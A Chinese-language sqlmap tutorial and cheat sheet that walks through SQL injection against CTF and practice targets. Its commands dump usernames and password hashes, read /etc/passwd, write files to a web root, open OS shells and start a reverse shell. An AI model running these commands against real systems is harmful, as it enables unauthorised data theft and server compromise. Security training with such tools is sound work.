SQLmap
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
安装
windows安装方法:Windows下sqlmap的安装图解
Linux安装方法:
wget https://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master #下载sqlmap
tar zxvf master #解压压缩包
cd sqlmapproject-sqlmap-310d79b/ #进入解压目录
python sqlmap.py -h #开始使用
Sqlmap注入篇
GET型
(1) 猜解是否能注入
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
(2) 查找数据库
win:python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs # ?id=1 --current-db(当前数据库)
kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs
(3) 猜解表(假如通过(2)得到了web1这个数据库)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
(4) 根据猜解的表进行猜解表的字段(假如通过(3)得到了flag这个表)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
(5) 根据字段猜解内容(假如通过(4)得到字段为username和password)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
POST型
#爆库
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs
#爆表
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables
#爆数据
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump
sqlmap选择注入类型
technique参数是用来选择sqlmap中的注入技术的,在sqlmap中其支持5中不同模式的注入
我们可以根据不同的报错提示更改—technique后面的字母
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql --dbs --batch
B:Boolean-based-blind (布尔型盲注)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
--dbms : 不仅可以指定数据库类型,还可以指定数据库版本
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
Sqlmap用户权限篇
1、列出数据库管理系统用户:
sqlmap -u http://xxx.com/1.php?id=11 --users
查看当前连接数据库用户:
sqlmap -u http://xxx.com/1.php?id=11 --current-user
查看数据库用户所有密码:
sqlmap -u http://xxx.com/1.php?id=11 --passwords
2、判断当前用户是否是DBA?
sqlmap -u http://xxx.com/1.php?id=11 --is-dba
3、查看用户权限:
sqlmap -u http://xxx.com/1.php?id=11 --privileges
sqlmap -u http://xxx.com/1.php?id=11 --privileges -U
Sqlmap文件操作与shell提权篇
1、sql shell
通过sqlmap可以直接获取一个sql shell,直接执行sql语句进行交互。
sqlmap -u http://xxx.com/1.php?id=11 --sql-shell
sql-shell> select version();
注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;
2、cmd shell
这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。
sqlmap -u http://xxx.com/1.php?id=11 --os-shell
sqlmap -u http://xxx.com/1.php?id=11 --os-cmd=ipconfig
注意:需要权限很大跟物理路径,要是不知道物理路径,可以用sqlmap枚举。
3、读取服务器上指定文件
sqlmap -u http://xxx.com/1.php?id=11 --file-read=/etc/passwd
sqlmap -u http://xxx.com/1.php?id=11 --file-read=d:/test.txt
4、写入本地文件到服务器上
sqlmap -u http://xxx.com/1.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt
其他
是否支持union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-check
采用union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-use
union配合order by
sqlmap -u http://xxx.com/1.php?id=11 –union-tech orderby
保存注入过程到一个文件,还可中断,下次恢复在注入
sqlmap -u http://xxx.com/1.php?id=11 -S 保存:-s “xx.log” 恢复:-s “xx.log” –resume)
指定可测试的参数
sqlmap -u http://xxx.com/?page=1&id=2 -p “page,id”
显示注入详细的等级(0-6)
sqlmap -u http://xxx.com/1.phpid=11 -v
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
采用多线程
sqlmap -u http://xxx.com/1.php?id=11 --threads 3
反弹shell
sqlmap -u http://xxx.com/1.php?id=11 --os-pwn (–os-pwn –msf-path=/opt/framework/msf3/)
参数
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
-d (DIRECT) 直接连接到数据库。
-u (URL), –url=URL 目标URL。
-l (LIST) 从Burp或WebScarab代理的日志中解析目标。
-r (REQUESTFILE) 从一个文件中载入HTTP请求。
-g (GOOGLEDORK) 处理Google dork的结果作为目标URL。
-c (CONFIGFILE) 从INI配置文件中加载选项。
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。
--tamper=space2comment 绕过空格 (--tamper=space2comment --dbs)
-a 检索所有内容
-b, –banner 检索数据库管理系统的标识
-D (DBname) 枚举的指定数据库名中信息
-T (TBLname) 枚举的指定数据库表中信息(eg:-T tablename –columns)
-C (COL ) 枚举的指定数据库字段(列)信息 (eg:-C flag -T flag -D web1 <---> -C 字段名 -T 表名 -D 数据库名)
-U (USER) 用来进行枚举的数据库用户
--dbs 扫描数据库信息
--tables 列出数据库所有的表信息
--columns 列出数据库表中的所有字段信息(表列)
--current-db 列出当前的数据库名称
-current-user 检索数据库管理系统当前用户
--roles 枚举用户
-dump 列出数据库中表的字段名中信息
--dump-all 列所有表的内容
--exclude-sysdbs 列举用户数据库的表内容
--common-tables暴力破解表
-is-dba 检测DBMS当前用户是否DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-columns 枚举DBMS数据库表列-dump 转储数据库管理系统的数据库中的表项
-search 搜索列(S),表(S)和/或数据库名称(S)
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的SQL语句
-sql-shell 提示交互式SQL的shell
--data:指定的数据会被作为POST数据提交